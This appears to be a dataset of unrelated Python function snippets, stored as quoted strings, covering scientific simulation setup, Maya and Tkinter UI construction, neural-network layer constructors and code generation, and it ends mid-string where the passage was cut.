addCheckBox('%s_shaderOverrideCheckbox' % windowID, '',\n rsShaderOverrideCheckbox, rsShaderOverrideCheckbox)\n cmds.separator(parent='%s_columnLayout21' % windowID, height=4,\n style='none')\n\n cmds.setParent('%s_columnLayout21' % windowID)\n cmds.columnLayout(\n '%s_columnLayout03' % windowID,\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\n columnAlign='left',\n columnAttach=('both', 4),\n adjustableColumn=True,\n rowSpacing=0,\n )\n cmds.setParent('%s_columnLayout03' % windowID)\n addOptionMenu('%s_optionMenu02' % windowID, 'Select: ', (),\n rsShaderOverridesMenu)\n\n global selectedShaderOverride\n\n # default selection\n\n selectedShaderOverride = SHADER_OVERRIDE_OPTIONS[0]['ui']\n cmds.columnLayout('%s_columnLayout03' % windowID, edit=True,\n visible=False)\n\n # #################################################\n\n cmds.setParent(q.fullPath)\n cmds.separator(height=10, style='none')\n\n # #################################################\n # Extras\n\n addFrameLayout('%s_frameLayout50' % windowID, 'Extras',\n collapsable=True, marginHeight=0,\n labelVisible=False)\n\n # #################################################\n # Add & Assign Shader Groups\n\n addFrameLayout(\n '%s_frameLayout05' % windowID,\n 'Add & Assign Shader Groups',\n collapsable=True,\n marginWidth=0,\n marginHeight=0,\n collapse=False,\n labelVisible=True,\n )\n\n # Add the renamer window\n\n self.gwCustomRenamer = CustomRenamer()\n self.gwCustomRenamer.createUI()\n\n # #################################################\n # AutoConnect\n\n cmds.setParent('%s_frameLayout50' % windowID)\n\n addFrameLayout(\n '%s_frameLayout03' % windowID,\n 'Adobe Connector',\n collapsable=True,\n marginWidth=0,\n marginHeight=0,\n collapse=True,\n labelVisible=True,\n )\n addRowLayout('%s_rowLayout07', 3, columnAlign3=('left', 'left',\n 'left'), columnAttach3=('both', 'both', 'both'),\n columnWidth3=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.4, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.3,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.3))\n addButton('updateConnections', '> Update Connections <',\n updateConnections)\n addButton('uvSnapshot', 'UV Snapshot', uvSnapshot)\n addButton('editTexture', 'Edit Texture', editTexture)\n\n # After Effects\n\n cmds.setParent('%s_frameLayout03' % windowID)\n addRowLayout('%s_rowLayout11' % windowID, 2,\n columnAlign2=('left', 'left'),\n columnAttach2=('both', 'both'),\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.4, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.6))\n addText('%s_text90' % windowID, 'Send to After Effects:')\n addButton('makeCompButton', 'Send to After Effects', rsMakeComp)\n\n # #################################################\n # Render Setup /\n # Output settings\n\n cmds.setParent('%s_frameLayout50' % windowID)\n addFrameLayout(\n '%s_frameLayout04' % windowID,\n 'Output Settings',\n collapsable=True,\n marginWidth=0,\n marginHeight=0,\n collapse=True,\n labelVisible=True,\n )\n addRowLayout('%s_rowLayout08' % windowID, 1,\n columnAlign1='center', columnAttach1='both',\n columnWidth1=WINDOW_WIDTH - FRAME_MARGIN * 2)\n addButton('%s_revealOutputDirectory' % windowID,\n 'Output path not set yet', rsRevealOutputDirectory)\n\n cmds.setParent('%s_frameLayout04' % windowID)\n addRowLayout('%s_rowLayout09' % windowID, 3,\n columnAlign3=('left', 'right', 'right'),\n columnAttach3=('left', 'right', 'right'),\n columnWidth3=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.8, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.14,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.06))\n\n addOptionMenu('%s_optionMenu05' % windowID, '', (),\n rsSelectOutputTemplate)\n addOptionMenu('%s_outputVersionMenu' % windowID, '', (),\n rsSelectOutputVersion)\n cmds.menuItem(label='v001')\n\n cmds.setParent('%s_rowLayout09' % windowID)\n addButton('%s_incrementOutputVersionButton' % windowID, '+1',\n rsIncrementOutputVersion, size=(21, 21))\n\n cmds.setParent('%s_frameLayout04' % windowID)\n addRowLayout('%s_rowLayout10' % windowID, 2,\n columnAlign2=('left', 'left'),\n columnAttach2=('both', 'right'),\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.7, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.3))\n addOptionMenu('%s_optionMenu03' % windowID, 'Format:', (),\n rsOutputTemplatesMenu)\n addOptionMenu('%s_optionMenu06' % windowID, '', (),\n rsSetFPSMenu)\n\n cmds.setParent('%s_frameLayout04' % windowID)\n addRowLayout('%s_rowLayout12' % windowID, 4,\n columnAlign4=('right', 'left', 'right', 'left'),\n columnAttach4=('both', 'both', 'both', 'both'),\n columnWidth4=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.50, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.15,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.20,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.15))\n\n addText('%s_setInFrameLabel' % windowID, 'In Frame ')\n addTextField('%s_setInFrame' % windowID, '', setInFrame,\n setInFrame, setInFrame)\n\n addText('%s_setOutFrameLabel' % windowID, 'Out Frame ')\n addTextField('%s_setOutFrame' % windowID, '', setOutFrame,\n setOutFrame, setOutFrame)","def __createLayout(self):\r\n self.__createCanvas()\r\n self.__createButton()\r\n self.__createInputFunction()\r\n self.__createLimits()\r\n self.__styleLayout()","def _make_serpent_input(self):\n # Create the problem description\n lines = ['% Point source in infinite geometry']\n lines.append('')\n\n # Set the cross section library directory\n if self.xsdir is not None:\n xsdata = (self.other_dir / 'xsdata').resolve()\n lines.append(f'set acelib \"{xsdata}\"')\n lines.append('')\n \n # Create the cell cards: material 1 inside sphere, void outside\n lines.append('% --- Cell cards ---')\n lines.append('cell 1 0 m1 -1')\n lines.append('cell 2 0 outside 1')\n lines.append('')\n\n # Create the surface cards: box centered on origin with 2e9 cm sides`\n # and reflective boundary conditions\n lines.append('% --- Surface cards ---')\n lines.append('surf 1 cube 0.0 0.0 0.0 1.e9')\n\n # Reflective boundary conditions\n lines.append('set bc 2')\n lines.append('')\n\n # Create the material cards\n lines.append('% --- Material cards ---')\n name = zaid(self.nuclide, self.suffix)\n if self.thermal is not None:\n Z, A, m = openmc.data.zam(self.nuclide)\n lines.append(f'mat m1 -{self.density} moder t1 {1000*Z + A}')\n else:\n lines.append(f'mat m1 -{self.density}')\n lines.append(f'{name} 1.0')\n\n # Add thermal scattering library associated with the nuclide\n if self.thermal is not None:\n lines.append(f'therm t1 {self.thermal}')\n lines.append('')\n\n # External source mode with isotropic point source at center of sphere\n lines.append('% --- Set external source mode ---')\n lines.append(f'set nps {self.particles} {self._batches}')\n energy = self.energy * 1e-6\n lines.append(f'src 1 n se {energy} sp 0.0 0.0 0.0')\n lines.append('')\n\n # Detector definition: flux energy spectrum\n lines.append('% --- Detector definition ---')\n lines.append('det 1 de 1 dc 1')\n\n # Energy grid definition: equal lethargy spacing\n min_energy = self._min_energy * 1e-6\n lines.append(f'ene 1 3 {self._bins} {min_energy} {1.0001*energy}')\n lines.append('')\n\n # Treat fission as capture\n lines.append('set nphys 0')\n\n # Turn on unresolved resonance probability treatment\n lines.append('set ures 1')\n\n # Write the problem\n with open(self.other_dir / 'input', 'w') as f:\n f.write('\\n'.join(lines))","def __init__(\n self,\n name: str,\n createStepName: str,\n surface: Region,\n interactionProperty: str,\n mechanicalConstraint: SymbolicConstant = KINEMATIC,\n contactControls: str = \"\",\n ):\n super().__init__()\n pass","def create_instance(c_instance):\n return LemaurPad(c_instance)","def create_from_bdf(\n cls,\n model,\n comm,\n nprocs,\n bdf_file,\n prefix=\"\",\n callback=None,\n struct_options={},\n thermal_index=-1,\n override_rotx=False,\n ):\n\n # Split the communicator\n world_rank = comm.Get_rank()\n if world_rank < nprocs:\n color = 1\n else:\n color = MPI.UNDEFINED\n tacs_comm = comm.Split(color, world_rank)\n\n assembler = None\n f5 = None\n Fvec = None\n if world_rank < nprocs:\n # Create the assembler class\n fea_assembler = pytacs.pyTACS(bdf_file, tacs_comm, options=struct_options)\n\n \"\"\"\n Automatically adds structural variables from the BDF / DAT file into TACS\n as long as you have added them with the same name in the DAT file.\n\n Uses a custom funtofem callback to create thermoelastic shells which are unavailable\n in pytacs default callback. And creates the DVs in the correct order in TACS based on DVPREL cards.\n \"\"\"\n\n # get dict of struct DVs from the bodies and structural variables\n # only supports thickness DVs for the structure currently\n structDV_dict = {}\n variables = model.get_variables()\n structDV_names = []\n\n # Get the structural variables from the global list of variables.\n struct_variables = []\n for var in variables:\n if var.analysis_type == \"structural\":\n struct_variables.append(var)\n structDV_dict[var.name.lower()] = var.value\n structDV_names.append(var.name.lower())\n\n # use the default funtofem callback if none is provided\n if callback is None:\n include_thermal = any(\n [\"therm\" in body.analysis_type for body in model.bodies]\n )\n callback = f2f_callback(\n fea_assembler, structDV_names, structDV_dict, include_thermal\n )\n\n # Set up constitutive objects and elements in pyTACS\n fea_assembler.initialize(callback)\n\n # get any constant loads for static case\n Fvec = addLoadsFromBDF(fea_assembler)\n # Fvec = None\n\n # Retrieve the assembler from pyTACS fea_assembler object\n assembler = fea_assembler.assembler\n\n # Set the output file creator\n f5 = fea_assembler.outputViewer\n\n # Create the output generator\n gen_output = TacsOutputGenerator(prefix, f5=f5)\n\n # get struct ids for coordinate derivatives and .sens file\n struct_id = None\n if assembler is not None:\n # get list of local node IDs with global size, with -1 for nodes not owned by this proc\n num_nodes = fea_assembler.meshLoader.bdfInfo.nnodes\n bdfNodes = range(num_nodes)\n local_tacs_ids = fea_assembler.meshLoader.getLocalNodeIDsFromGlobal(\n bdfNodes, nastranOrdering=False\n )\n\n \"\"\"\n the local_tacs_ids list maps nastran nodes to tacs indices with:\n local_tacs_ids[nastran_node-1] = local_tacs_id\n Only a subset of all tacs ids are owned by each processor\n note: tacs_ids in [0, #local_tacs_ids], #local_tacs_ids <= nnodes\n for nastran nodes not on this processor, local_tacs_id[nastran_node-1] = -1\n\n The next lines of code invert this map to the list 'struct_id' with:\n struct_id[local_tacs_id] = nastran_node\n\n This is then later used by funtofem_model.write_sensitivity_file method to write\n ESP/CAPS nastran_CAPS.sens files for the tacsAIM to compute shape derivatives\n \"\"\"\n\n # get number of non -1 tacs ids, total number of actual tacs_ids\n n_tacs_ids = len([tacs_id for tacs_id in local_tacs_ids if tacs_id != -1])\n\n # reverse the tacs id to nastran ids map since we want tacs_id => nastran_id - 1\n nastran_ids = np.zeros((n_tacs_ids), dtype=np.int64)\n for nastran_id_m1, tacs_id in enumerate(local_tacs_ids):\n if tacs_id != -1:\n nastran_ids[tacs_id] = int(nastran_id_m1 + 1)\n\n # convert back to list of nastran_ids owned by this processor in order\n struct_id = list(nastran_ids)\n\n # We might need to clean up this code. This is making educated guesses\n # about what index the temperature is stored. This could be wrong if things\n # change later. May query from TACS directly?\n if assembler is not None and thermal_index == -1:\n varsPerNode = assembler.getVarsPerNode()\n\n # This is the likely index of the temperature variable\n if varsPerNode == 1: # Thermal only\n thermal_index = 0\n elif varsPerNode == 4: # Solid + thermal\n thermal_index = 3\n elif varsPerNode >= 7: # Shell or beam + thermal\n thermal_index = varsPerNode - 1\n\n # Broad cast the thermal index to ensure it's the same on all procs\n thermal_index = comm.bcast(thermal_index, root=0)\n\n # Create the tacs interface\n return cls(\n comm,\n model,\n assembler,\n gen_output,\n thermal_index=thermal_index,\n struct_id=struct_id,\n tacs_comm=tacs_comm,\n override_rotx=override_rotx,\n Fvec=Fvec,\n )","def __init__(self, *args, **kwargs):\n global _image3D_index\n mambaComposed.sequenceMb.__init__(self, *args, **kwargs)\n \n self.name = \"Image3D \"+str(_image3D_index)\n _image3D_index = _image3D_index + 1\n \n if kwargs.has_key(\"displayer\"):\n self._displayerUsr = kwargs[\"displayer\"]\n else:\n self._displayerUsr = None\n self._displayerPjt = m3D.getProjDisplayer\n self._displayerVtk = m3D.getVtkDisplayer\n self._displayPjt = None\n self._displayUsr = None\n self._displayVtk = None\n \n self.mb3DIm = core3D.MB3D_Image(list(map(lambda im: im.mbIm, self.seq)))","def create_pcpp(account, row, issue_map):\n country_name = row['LOCATION']\n country = Country.objects.filter(name__iexact=country_name).first()\n if not country:\n logging.getLogger('peacecorps.sync_accounting').warning(\n \"%s: Country does not exist: %s\", row['PROJ_NO'], row['LOCATION'])\n issue = issue_map.find(row['SECTOR'])\n if not issue and row['SECTOR'] != 'None':\n logging.getLogger('peacecorps.sync_accounting').warning(\n \"%s: Sector does not exist: %s\", row['PROJ_NO'], row['SECTOR'])\n\n if country and (issue or row['SECTOR'] == 'None'):\n set_balances(row, account)\n account.save()\n\n volunteername = row['PCV_NAME']\n if volunteername.startswith(row['STATE']):\n volunteername = volunteername[len(row['STATE']):].strip()\n\n summary = clean_description(row['SUMMARY'])\n sirtrevorobj = {\"data\": [{\"type\": \"text\", \"data\": {\"text\": summary}}]}\n description = json.dumps(sirtrevorobj)\n\n project = Project(\n title=row['PROJ_NAME1'], country=country, account=account,\n volunteername=volunteername, volunteerhomestate=row['STATE'],\n description=description\n )\n if issue:\n project.overflow = issue.account\n project.save()\n project.campaigns.add(issue)\n else:\n project.save()","def New(*args, **kargs):\n obj = itkMeshSourcePSUS3.__New_orig__()\n import itkTemplate\n itkTemplate.New(obj, *args, **kargs)\n return obj","def GachaCraftNodeExcelAddGP1103(builder, GP1103):\n return AddGP1103(builder, GP1103)","def create_plaquette(self, baseStr, fidpairs=None):\n if fidpairs is None:\n fidpairs = list(_itertools.product(range(len(self.prepStrs)),\n range(len(self.effectStrs))))\n\n elements = [(j, i, self.prepStrs[i] + baseStr + self.effectStrs[j])\n for i, j in fidpairs] # note preps are *cols* not rows\n real_fidpairs = [(self.prepStrs[i], self.effectStrs[j]) for i, j in fidpairs] # strings, not just indices\n\n return CircuitPlaquette(baseStr, len(self.effectStrs),\n len(self.prepStrs), elements,\n self.aliases, real_fidpairs)","def goify(self, layout=None):\n xx,yy,zz = self.getXYZ(layout)\n surf = dict(\n type='surface',\n x=xx,\n y=yy,\n z=zz\n )\n return surf","def __init__(self,mf,rnmf,exemt3dms,modelname,workspace,dataspace,fltfile):\n #Constructor begins here\n self.__exefile=exemt3dms\n self.__workspace=workspace\n self.__dataspace=dataspace\n self.__modelname=modelname\n self.__ftlnm=fltfile\n \n # create mt3dms model object\n self.__mt = flopy.mt3d.Mt3dms(modflowmodel=mf, modelname=self.__modelname, \n exe_name=self.__exefile , ftlfilename=self.__ftlnm,\n model_ws=self.__workspace)\n \n # basic transport package\n perlen=rnmf.getPerlen()\n nper=rnmf.getNper()\n nstp=rnmf.getNstp()\n self.__btn = flopy.mt3d.Mt3dBtn(self.__mt, prsity=0.3, icbund = 1, sconc=0.0, ncomp=1, \n perlen = perlen, nper=nper, nstp = nstp, tsmult = 1.0, \n nprs = -1, nprobs = 10, cinact = -1, chkmas=True)\n \n # advaction package\n self.__adv = flopy.mt3d.Mt3dAdv(self.__mt, mixelm=-1, percel=0.75)\n # dispersion package\n self.__dsp = flopy.mt3d.Mt3dDsp(self.__mt, al=1000, trpt=0.1, trpv=0.1, dmcoef=1e-09)\n #Forcing objects\n itype = flopy.mt3d.Mt3dSsm.itype_dict()\n print(itype)\n print(flopy.mt3d.Mt3dSsm.get_default_dtype())\n wellbld=rnmf.getWelBld()\n self.__ssm=wellbld.createssm(self.__mt,itype)\n # matrix solver package\n self.__gcg = flopy.mt3d.Mt3dGcg(self.__mt, cclose=1e-6)","def New(*args, **kargs):\n obj = itkLabelShapeOpeningImageFilterIUC3.__New_orig__()\n import itkTemplate\n itkTemplate.New(obj, *args, **kargs)\n return obj","def build_roi_box_head(cfg):\n return ROIBoxHead3D(cfg)","def build_pcb(self, bg=None):","def __init__(self, params):\n super().__init__(params)\n params = self.params\n\n assert not params.packed_input, 'Packed input not implemented yet.'\n\n if not params.rel_pos_radius:\n raise ValueError('Invalid rel_pos_radius: %s' % params.rel_pos_radius)\n\n if params.rel_pos_emb_dim is None:\n rel_pos_emb_dim = params.hidden_dim\n else:\n rel_pos_emb_dim = params.rel_pos_emb_dim\n\n rel_pos_emb_tpl = layers.RelativePositionalEmbeddingLayer.Params().Set(\n radius=params.rel_pos_radius, dim=rel_pos_emb_dim)\n if rel_pos_emb_dim != params.hidden_dim:\n # Projection layer for relative position encoding\n dim_per_head = params.hidden_dim // params.num_heads\n pos_proj_tpl = params.proj_tpl.Copy().Set(\n input_dim=rel_pos_emb_dim,\n num_heads=params.num_heads,\n dim_per_head=dim_per_head,\n use_bias=False)\n else:\n pos_proj_tpl = None\n\n self.CreateChild('key_emb', rel_pos_emb_tpl)\n # Add projection layer if rel_pos_emb_dim is different from hidden_dim.\n if pos_proj_tpl is not None:\n self.CreateChild('key_pos_proj', pos_proj_tpl)\n if not params.skip_value_emb:\n self.CreateChild('value_emb', rel_pos_emb_tpl)\n if pos_proj_tpl is not None:\n self.CreateChild('value_pos_proj', pos_proj_tpl)\n self.CreateChild('pos_atten_logits', params.pos_atten_logits_tpl)","def fusion_api_create_virtual_switch_layout(self, body, api=None, headers=None):\n return self.cluster_profile.create(body=body, api=api, headers=headers, param='/virtualswitch-layout')","def generate_skeleton(self, ci, qname):\n symbol_table = ci.epv.symbol_table\n cls = ci.co\n\n\n # Skeleton (in Chapel)\n self.pkg_chpl_skel.gen(ir.Import('.'.join(symbol_table.prefix)))\n\n self.pkg_chpl_skel.new_def('use sidl;')\n objname = '.'.join(ci.epv.symbol_table.prefix+[ci.epv.name]) + '_Impl'\n\n self.pkg_chpl_skel.new_def('extern record %s__object { var d_data: opaque; };'\n %qname)#,objname))\n self.pkg_chpl_skel.new_def('extern proc %s__createObject('%qname+\n 'd_data: int, '+\n 'out ex: sidl_BaseInterface__object)'+\n ': %s__object;'%qname)\n self.pkg_chpl_skel.new_def(ci.chpl_skel)\n\n\n # Skeleton (in C)\n cskel = ci.chpl_skel.cstub\n cskel._name = qname+'_Skel'\n cskel.gen(ir.Import('stdint'))\n cskel.gen(ir.Import('stdio'))\n cskel.gen(ir.Import(cskel._name))\n cskel.gen(ir.Import(qname+'_IOR'))\n cskel.gen(ir.Fn_defn([], ir.pt_void, qname+'__call_load', [],\n [ir.Comment(\"FIXME: [ir.Stmt(ir.Call('_load', []))\")], ''))\n\n # set_epv ... Setup the entry-point vectors (EPV)s\n #\n # there are 2*3 types of EPVs:\n # epv: regular methods\n # sepv: static methods\n # pre_(s)epv: pre-hooks\n # post_(s)epv: post-hooks\n epv_t = ci.epv.get_ir()\n sepv_t = ci.epv.get_sepv_ir()\n pre_epv_t = ci.epv.get_pre_epv_ir()\n pre_sepv_t = ci.epv.get_pre_sepv_ir()\n post_epv_t = ci.epv.get_post_epv_ir()\n post_sepv_t = ci.epv.get_post_sepv_ir()\n cskel.gen(ir.Fn_decl([], ir.pt_void, 'ctor', [], ''))\n cskel.gen(ir.Fn_decl([], ir.pt_void, 'dtor', [], ''))\n\n epv_init = []\n sepv_init = []\n for m in builtins+cls.get_methods():\n fname = m[2][1] + m[2][2]\n attrs = sidlir.method_method_attrs(m)\n static = member_chk(sidlir.static, attrs)\n def entry(stmts, epv_t, table, field, pointer):\n stmts.append(ir.Set_struct_item_stmt(epv_t, ir.Deref(table), field, pointer))\n\n if static: entry(sepv_init, sepv_t, 'sepv', 'f_'+fname, '%s_%s_skel'%(qname, fname))\n else: entry(epv_init, epv_t, 'epv', 'f_'+fname, '%s_%s_skel'%(qname, fname))\n\n builtin_names = ['_ctor', '_ctor2', '_dtor']\n with_hooks = member_chk(ir.hooks, attrs)\n if fname not in builtin_names and with_hooks:\n if static: entry(sepv_init, pre_sepv_t, 'pre_sepv', 'f_%s_pre'%fname, 'NULL')\n else: entry(epv_init, pre_epv_t, 'pre_epv', 'f_%s_pre'%fname, 'NULL')\n if static: entry(sepv_init, post_sepv_t, 'post_sepv', 'f_%s_post'%fname, 'NULL')\n else: entry(epv_init, post_epv_t, 'post_epv', 'f_%s_post'%fname, 'NULL')\n\n pkgname = '_'.join(ci.epv.symbol_table.prefix)\n\n dummyargv = '''\n char* argv[] = { \n babel_program_name,\n \"-nl\", /* number of locales */\n \"\",\n \"-v\", /* verbose chapel runtime */\n NULL\n };\n argv[2] = getenv(\"SLURM_NTASKS\");\n if (argv[2] == NULL) {\n fprintf(stdout, \"**ERROR: please set the SLURM_NTASKS environment variable\\\\n\"\n \" to the desired number of Chapel locales.\");\n argv[2] = \"0\";\n }\n int ignored = setenv(\"GASNET_BACKTRACE\", \"1\", 1);\n'''\n cskel.genh(ir.Import('stdlib'))\n cskel.pre_def('extern int chpl_init_library(int argc, char* argv[]);')\n cskel.pre_def('// You can set this to argv[0] in main() to get better debugging output')\n cskel.pre_def('char* __attribute__((weak)) babel_program_name = \"BRAID_LIBRARY\";')\n # These are now called by chpl_init_library -> chpl_gen_init\n #cskel.pre_def('extern void chpl__init_chpl__Program(int, const char*);')\n #cskel.pre_def('extern void chpl__init_%s_Impl(int, const char*);'%pkgname)\n init_code = [dummyargv,\n 'int locale_id = chpl_init_library(4, argv)',\n # 'chpl__init_chpl__Program(__LINE__, __FILE__)',\n # 'chpl__init_%s_Impl(__LINE__, __FILE__)'%pkgname\n ]\n init_code = map(lambda x: (ir.stmt, x), init_code)\n epv_init.extend(init_code)\n sepv_init.extend(init_code)\n\n cskel.gen(ir.Fn_defn(\n [], ir.pt_void, qname+'__set_epv',\n [ir.Arg([], ir.out, epv_t, 'epv'),\n ir.Arg([], ir.out, pre_epv_t, 'pre_epv'),\n ir.Arg([], ir.out, post_epv_t, 'post_epv')],\n epv_init, ''))\n\n if sepv_t:\n cskel.gen(ir.Fn_defn(\n [], ir.pt_void, qname+'__set_sepv',\n [ir.Arg([], ir.out, sepv_t, 'sepv'),\n ir.Arg([], ir.out, pre_sepv_t, 'pre_sepv'),\n ir.Arg([], ir.out, post_sepv_t, 'post_sepv')],\n sepv_init, ''))\n\n # C Skel\n for code in cskel.optional:\n cskel.new_global_def(code)\n cskel.write()","def create(self):\n\t\t\n\t\tflagbyte = 0\n\t\tif self.synf: flagbyte += 1\n\t\tif self.ackf: flagbyte += 2\n\t\t\n\t\tself.header = struct.pack(\">IBIII\", self.connid, flagbyte, self.seqn, self.ackn, self.recv)\n\t\t\n\t\tself.data = self.header+self.payload","def create(connection, args):\n\n metadata = sap.adt.ADTCoreData(language='EN', master_language='EN', responsible=connection.user.upper())\n iface = sap.adt.Interface(connection, args.name.upper(), package=args.package.upper(), metadata=metadata)\n iface.description = args.description\n iface.create()","def create(self):\n # TODO: Properly validate data\n self._proj()\n if self.cfg.align_heading:\n self._align()\n self._griddata()\n if self.cfg.gap_filter[\"algorithm\"] != \"none\":\n self._gap_filter()","def __init__(self):\n Page.__init__(self, u\"Paraboloide Elíptico<br><br>F(x,y)=(x, y, x<sup>2</sup>/a<sup>2</sup> + y<sup>2</sup>/b<sup>2</sup>)\")\n\n z = 0.5\n par = RevolutionPlot3D(lambda r, t: r ** 2 + z, (0, 1), (0, 2 * pi))\n\n x, y, z2, u, v, cose, sen, t = createVars(['x', 'y', 'z', 'u', 'v', 'cos', 'sen', 't'])\n\n mesh1 = Plot3D(lambda x, y, h: h * (x ** 2 + y ** 2 + z - .01), (-1, 1), (-1, 1))\n mesh1.addEqn(x**2+y**2 - z2**2 == 1)\n mesh1.addFunction(lambda x, y, h: h * (x ** 2 + y ** 2 + z + .01))\n mesh1.setLinesVisible(True)\n mesh1.setMeshVisible(False)\n mesh1.setBoundingBox(zrange=(-1, 1.5))\n par.setAmbientColor(_1(145, 61, 74))\n par.setDiffuseColor(_1(145, 61, 74))\n par.setSpecularColor(_1(145, 61, 74))\n baseplane = BasePlane()\n baseplane.setHeight(0)\n baseplane.setRange((-2, 2, 7))\n\n self.addChild(par)\n self.addChild(mesh1)\n self.addChild(baseplane)","def __init__(self, params):\n super().__init__(params)\n p = self.params\n assert p.input_dim, f'input_dim is {p.input_dim}'\n assert p.hidden_dim, f'hidden_dim is {p.hidden_dim}'\n assert p.num_heads > 0, f'num_heads is {p.num_heads}'\n # if proj_tpl does not have dim_per_head set, set it\n if p.proj_tpl.dim_per_head == 0:\n p.proj_tpl.dim_per_head = self.dim_per_head\n\n if p.device_mesh is not None:\n assert p.weight_split_dims_mapping is not None\n assert p.activation_split_dims_mapping is not None\n\n if isinstance(p.weight_split_dims_mapping, dict):\n qkv_weight_split_dims_mapping = p.weight_split_dims_mapping['qkv']\n post_weight_split_dims_mapping = p.weight_split_dims_mapping['post']\n else:\n qkv_weight_split_dims_mapping = p.weight_split_dims_mapping\n post_weight_split_dims_mapping = p.weight_split_dims_mapping\n\n def ProjectInput(input_dim):\n return p.proj_tpl.Copy().Set(\n input_dim=input_dim,\n num_heads=p.num_heads,\n use_bias=p.use_bias,\n device_mesh=p.device_mesh,\n weight_split_dims_mapping=qkv_weight_split_dims_mapping,\n make_output_proj_no_op=False)\n\n def ProjectInputOneStep(input_dim):\n return p.proj_tpl.Copy().Set(\n input_dim=input_dim,\n num_heads=p.num_heads,\n dim_per_head=self.dim_per_head * 3,\n use_bias=p.use_bias,\n device_mesh=p.device_mesh,\n weight_split_dims_mapping=qkv_weight_split_dims_mapping,\n make_output_proj_no_op=False,\n )\n\n if isinstance(p.input_dim, dict):\n key_input_dim = p.input_dim['key']\n value_input_dim = p.input_dim['value']\n query_input_dim = p.input_dim['query']\n assert key_input_dim, f'key_input_dim is {key_input_dim}'\n assert query_input_dim, f'query_input_dim is {query_input_dim}'\n else:\n key_input_dim = p.input_dim\n value_input_dim = p.input_dim\n query_input_dim = p.input_dim\n\n if p.enable_value_proj and p.enable_qkv_proj_in_onestep:\n self.CreateChild('qkv', ProjectInputOneStep(key_input_dim))\n else:\n self.CreateChild('key', ProjectInput(key_input_dim))\n self.CreateChild('query', ProjectInput(query_input_dim))\n if p.enable_value_proj:\n assert value_input_dim, f'value_input_dim is {value_input_dim}'\n self.CreateChild('value', ProjectInput(value_input_dim))\n if p.enable_query_scale and p.enable_per_dim_scale:\n self.CreateChild(\n 'per_dim_scale',\n PerDimScaleLayer.Params().Set(dim=p.proj_tpl.dim_per_head))\n self.CreateChild('atten_dropout',\n p.dropout_tpl.Set(keep_prob=1.0 - p.atten_dropout_prob))\n # Setting is_output_projection=True to set the projection direction\n # from hidden dim to input dim. Output projection follows query_input_dim.\n self.CreateChild(\n 'post',\n p.proj_tpl.Copy().Set(\n input_dim=p.output_dim or query_input_dim,\n num_heads=p.num_heads,\n is_output_projection=True,\n use_bias=p.use_bias,\n device_mesh=p.device_mesh,\n weight_split_dims_mapping=post_weight_split_dims_mapping))\n\n if p.rope_tpl:\n assert issubclass(p.rope_tpl.cls, layers.RotaryPositionalEmbeddingLayer)\n rope_p = p.rope_tpl.Copy()\n if rope_p.embedding_dim == 0:\n rope_p.embedding_dim = self.dim_per_head\n self.CreateChild('rope', rope_p)\n\n if p.attn_add_memory:\n assert p.memory_tpl is not None\n self.CreateChild(\n 'lsh_mem',\n p.memory_tpl.Copy().Set(\n input_dim=self.dim_per_head,\n output_dim=self.dim_per_head,\n name='attn_lsh_mem'))\n if p.use_scale_invariant_atten:\n assert not (p.enable_scaling_code_motion or p.atten_extra_logit)","def __init__(self, name, type_name, thickness, grid_front_area, bundles_flow_area, grid_wetted_area, rods_wetted_at_grid_area, P_wet_at_grid, P_bundles, orientation):\n self.name = name\n self.type = type_name\n self.thickness = thickness\n self.length = self.thickness\n self.grid_front_area = grid_front_area\n self.bundles_flow_area = bundles_flow_area\n self.grid_wetted_area = grid_wetted_area\n self.rods_wetted_at_grid_area = rods_wetted_at_grid_area\n self.orientation = orientation\n self.P_wet_at_grid = P_wet_at_grid\n self.P_bundles = P_bundles","def create_label(self):\n\n self.pc_label = Label(self.form_box, text=\"Primary Current [A]:\", anchor='nw', width=32,\n bg=self.design.color.secondary, font=('Arial', 15))\n self.sc_label = Label(self.form_box, text=\"Secondary Current [A]:\", anchor='nw', width=32,\n bg=self.design.color.secondary, font=('Arial', 15))\n self.avg_t_label = Label(self.form_box, text=\"Average Time [s]: \", anchor='nw', width=32,\n bg=self.design.color.secondary, font=('Arial', 15))\n self.nwt_label = Label(self.form_box, text=\"network type (static/dynamic):\", anchor='nw', width=32,\n bg=self.design.color.secondary, font=('Arial', 15))\n self.nw_ip_label = Label(self.form_box, text=\"IpAddress:\", anchor='nw', width=32,\n bg=self.design.color.secondary, font=('Arial', 15))\n self.nw_gw_label = Label(self.form_box, text=\"Gateway:\", anchor='nw', width=32, bg=self.design.color.secondary,\n font=('Arial', 15))\n self.nw_sm_label = Label(self.form_box, text=\"subnet mask:\", anchor='nw', width=32,\n bg=self.design.color.secondary, font=('Arial', 15))\n self.nw_mca_label = Label(self.form_box, text=\"Mac Address:\", anchor='nw', width=32,\n bg=self.design.color.secondary, font=('Arial', 15))","def create(data):\n \n return Part(\n part_id = data['part_num'],\n category_id = data['part_cat_id'],\n external_ids = data.get('external_ids', {}),\n name = data['name'],\n year_from = data.get('year_from', None),\n year_to = data.get('year_to', None),\n url = data.get('part_url', None),\n img_url = data.get('part_img_url', None),\n print_of = data.get('print_of', None),\n prints = data.get('prints', []),\n molds = data.get('molds', []),\n alternates = data.get('alternates', []))","def surface_template(self, chain):\n output_name = output_folder + \"/surface_output_\" + str(self.input_pdb_path).split(\"/\")[-1][0:-4] + \"_\" + chain\n output_string = 'mol new ' + self.input_pdb_path + '\\n' \\\n + 'set allsel [atomselect top \"all and chain ' + chain + '\"]' + '\\n' \\\n + 'set chain ' + chain + '\\n' \\\n + 'set tot_sasa [dict create ARG 241 TRP 259 TYR 229' \\\n + ' LYS 211 PHE 218 MET 204 GLN 189 HIS 194 HSD 194 HSE 194 HSP 194 GLU' \\\n + ' 183 